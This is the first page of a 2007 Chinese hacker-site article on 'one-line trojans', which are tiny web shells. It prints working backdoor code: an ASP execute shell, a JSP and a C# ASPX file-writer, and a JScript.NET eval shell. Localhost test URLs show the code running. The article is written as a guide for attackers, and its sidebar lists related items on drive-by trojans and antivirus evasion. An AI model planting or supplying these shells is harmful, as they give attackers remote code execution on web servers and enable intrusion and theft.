ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)--ASPX,一句话木马,终极版,详细分析,ASP-EXECUTE,ASPX-EVAL

[推荐]ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)

荐 ★★★★★

ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)

文章整理发布：黑客风云文章来源：www.05112.com 更新时间：2007-8-11

首先回顾一下以前ASP一句话的经典木马吧！

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的！网上也有例子我就不多说了！.....

然后解析语言终究发展成为中间代码例如java .net 动态执行也就不存在了！之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...

如今ASPX中所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....同时Jscript 也一样转向高级版本Jscript.net 但是我们需要的eval函数还是生存下来的！script child有幸了...

先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话
JSP :

以下是引用片段：

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

这个是我自己写的要弹要说,都是大家的呵呵！我不发言.....

ASPX:

以下是引用片段：
<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params ["l"]);ow.Close()%>

这个不知道是谁的作品,感觉性质有点像我的JSP一句话了！不过还是把简单的shell实现了！支持 ing....

两个一句话大体都一样调用类把接收的都写到文件！简单说就是对文件写操作而已！~昔日ASP一句话的光辉如今在中间语言的后门中给限制得荡然无存~~错！......ASPX C/S木马我们一样可以实现！因为有Jscript.net的存在！上面所说到的eval函数还生存着！~

OK我们先来实现

以下是引用片段：
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>

这样？恩！可以拿去尝试了~ 保存为 text.aspx 然后提交

以下是引用片段：
http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();

打印出当前时间...Sat Aug 4 20:05:20 UTC+8 2007
貌似OK了哦！呵呵我们再试

以下是引用片段：
http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");

发现报告错误了！....(我就是因为卡在这里,所以折腾了几个月,不然这文章早出炉了！在这里感谢一下闇の術士 QQ:4659675 欢迎大家找他学习 ...哈)

[1] [2] 下一页

文章录入：cainiaowang 责任编辑：cainiaowang

上一篇文章：认识使用 Rootkit技术的木马

下一篇文章：没有了

【字体：小大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

VIP 专区

	抽根憋闷烟的心声
	学习网页制作的理由
	加入终身会员的理由!!!
	学习黑客编程的5大理由
	学习免杀的6大理由
	学习软件破解的理由
	常见问题解答
	汇款向导
	学员报名咨询

	分析ANI智能网马挂马	06-08
	XML木马研究	05-18
	脚本图片类后门病毒的完美使用方	05-16
	两个批量挂马脚本	05-11
	黑客技术之打造不死的ASP木马的方	04-20
	2007年IE 0day 网马	04-02
	修改特征码打造免杀后门之灰鸽子	04-02
	挂马代码大全	03-22
	打造不死的asp木马	03-21
	一段可自动点击运行的代码	03-19
	最新.aspx微型后门代码	03-19
	木马免杀原理详解	01-31